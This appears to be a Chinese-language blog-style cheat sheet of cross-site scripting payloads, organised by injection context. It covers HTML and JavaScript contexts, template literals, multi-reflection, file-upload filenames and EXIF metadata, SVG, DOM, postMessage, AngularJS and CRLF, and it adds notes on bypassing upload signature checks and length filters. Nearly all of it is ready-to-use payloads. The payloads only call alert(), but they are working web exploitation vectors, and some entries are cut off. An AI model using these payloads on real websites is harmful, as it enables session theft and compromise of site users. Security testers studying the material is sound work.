HTML上下文 - 简单标记注入
1 | <svg onload=alert(1)> |
HTML上下文 - 块标记注入
title、style、script、 textarea、noscript、pre、xmp、还有iframe标签
1 | </tag><svg onload=alert(1)> |
HTML上下文 - 内联注入
输入落在HTML标记的属性内使用
1 | " onmouseover=alert(1)// |
HTML上下文 - 源代码注入
当输入作为以下HTML标记属性的值时使用:href,src,data或action(也是格式)。脚本标记中的Src属性可以是URL或
1 | "data:alert(1)" |
Javascript上下文 - 代码注入
1 | '-alert(1)-' |
Javascript上下文 - 使用Escape Bypass
进行代码注入 当输入落在脚本块中时,在字符串分隔值内使用,但引号由反斜杠转义
1 | \'=alert(1)// |
Javascript上下文 - 标记注入
1 | </script><svg onload=alert(1)> |
Javascript上下文 - 逻辑块中的代码注入
当输入落在脚本块中时,使用第一个或第二个有效负载,在字符串分隔值内,并在单个逻辑 块内,如函数或条件(if , else , etc)。如果使用反斜杠转义quote,请使用第三个有效负载,
1 | '}alert(1);{' |
Javascript上下文 - 无引用代码注入
在同一行JS代码中存在多重反射时使用。第一个有效负载在简单的JS变量中工作,第二个在 非嵌套的JS对象中工作。 Javascript上下文 - 无引用代码注入 在同一行JS代码中存在多重反射时使用。第一个有效负载在简单的JS变量中工作,第二个在 非嵌套的JS对象中工作。
1 | -alert(1)//\ |
Javascript上下文 - 模板文字中的占位符注入
当输入在反引号(``)分隔的字符串或模板引擎中时使用
1 | ${alert(1)} |
HTML上下文中的多重反射 - 双反射(单输入)
用于利用同一页面上的多个反射。
1 | 'onload=alert(1)><svg/1=' |
HTML上下文中的多重反射 - 三重反射(单输入)
用于利用同一页面上的多个反射。
1 | */alert(1)">'onload="/*<svg/1=' |
HTML上下文中的多输入反射(双重和三重)
用于在同一页面上利用多个输入反射。在HPP(HTTP参数污染)场景中也很有用,其中存在 重复参数的反射。第3个有效负载使用相同参数的逗号分隔反射。
1 | p=<svg/1='&q='onload=alert(1)> |
File Upload Injection – Filename
Use when uploaded filename is reflected somewhere in target page.
1 | "><svg onload=alert(1)>.gif |
File Upload Injection – Metadata
Use when metadata of uploaded file is reflected somewhere in target page. It uses command-line exiftool and any metadata field can be set.
1 | brute@logic:~$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg |
File Upload Injection – SVG File
1 | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> |
DOM Insert Injection
当注入作为有效标记插入DOM而不是反映在源代码中时,用于测试XSS。
1 | <img src=1 onerror=alert(1)> |
DOM Insert Injection – Resource Request
Use when javascript code of the page inserts into page the results of a request to an URL controlled by attacker (injection).
1 | data:text/html,<img src=1 onerror=alert(1)> |
PHP_SELF Injection
Use when current URL is used by target’s underlying PHP code as an attribute value of an HTML form, for example. Inject between php extension and start of query part (?) using a leading slash (/).
1 | https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader |
Script Injection – No Closing
在反射后代码中的某处有一个关闭脚本标记(</script>
)时使用。
1 | <script src=data:,alert(1)> |
Javascript postMessage() DOM Injection (with Iframe)
在没有检查原点的javascript代码中的“window.addEventListener('message',...)”中 有“message”事件监听器时使用。目标必须能够成帧(根据上下文的X帧选项标题)。保存 为HTML文件(或使用数据:text/html),提供TARGET_URL和INJECTION(XSS向量或有 效负载)
1 | <iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')"> |
基于XML的XSS
用于在XML页面中注入XSS向量(内容类型为 text/xml 或 application/xml)。 如果输入登陆评论部分或“]]>”如果输入登陆“CDATA”部分,则在“-->”前面加载有效负 载。
1 | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
AngularJS注入(v1.6及以上)
在页面中加载AngularJS库时使用,在带有ng-app指令(第一个有效负载)的HTML块内或 创建自己的(第二个有效负载)。
1 | {{constructor.constructor('alert(1)')()}} <x ng-app>{{constructor.constructor('alert(1)')()}} |
CRLF Injection
当应用程序反映其中一个响应标头中的输入时,允许注入回车符(%0D)和换行符(% 0A)字符。分别为Gecko和Webkit的向量。
1 | %0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A %3Cscript%3Ealert(1)%3C/script%3E |
国外xss
文件上传处
https://www.youtube.com/watch?v=swVlFwuwJAo
base64处理
替换参数
控制台修改
触发xss
微软xss
1 | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> |
xss限制
37 字节以内
不能引用
不能存在<script>
不能有/
payload
1 | <svg onload=eval(atob(p))> |
上传头像处
在上传头像的位置进行文件上传
修改后缀名为html之后上传,打开返回的URL成功弹窗
我们还可以使用exiftool修改
1 | exiftool -Artist="'><img src=1 onerror=alert(document.domain)>" poc.jpg |
文件上传-闭合双引号xss
正常情况下上传图片的请求如下
返回的相应包如下:
{"result":true,"message":"/UploadFiles/redacted/redacted/3021d74f18ddasdasd50abe934f.png,"code":0}
此处暴露文件路径
这时候有个奇淫技巧
构造上传图片的数据包,重点在于filename参数后面的"
1 | -----------------------------6683303835495 |
相应包如下:
{"result":true,"message":"/UploadFiles/redacted/redacted/3021d74f18f649f5ac943ff50abe934f."gif","code":0}
需要注意的是这里做了filename后缀名检测和文件签名检测
如果发送数据包如下;
1 | -----------------------------6683303835495 |
他会返回
1 | {"result":false,"message":"That file type is not supported.","code":0} |
所以我们可以得出结论,图片类型的文件签名才能能够成功上传
1 | JPEG - FF D8 FF DB - ÿØÿÛ |
清楚了如上几点,构造payload
1 | -----------------------------6683303835495 |
返回包
1 | {"result":true,"message":"/UploadFiles/redacted/redacted/5060bddf6e024def9a8f5f8b9c42ba1f."gif","code":0} |
访问文件名5060bddf6e024def9a8f5f8b9c42ba1f."gif
,触发xss payload
这里的文件名为gif
gif的文件内容是
1 | GIF8 |
根据edge/ie特性弹出payload
条件:
Microsoft Edge或Internet Explorer访问
bypass payload
Payload1
1 | 也是在twitter上看到的一些新思路做一个整理 |
Payload2
1 | <link rel="canonical" accesskey="X" onclick="alert(1)" /> |
更多payload尽在:https://twitter.com/ChefSecure/status/1077644515253587969
payload字典
1 | <img src =1> |
伪协议绕过
1 | javascript 伪协议: <a href=javascript:alert(2)>test</a> |
1 | <script\x20type="text/javascript">javascript:alert(1);</script> |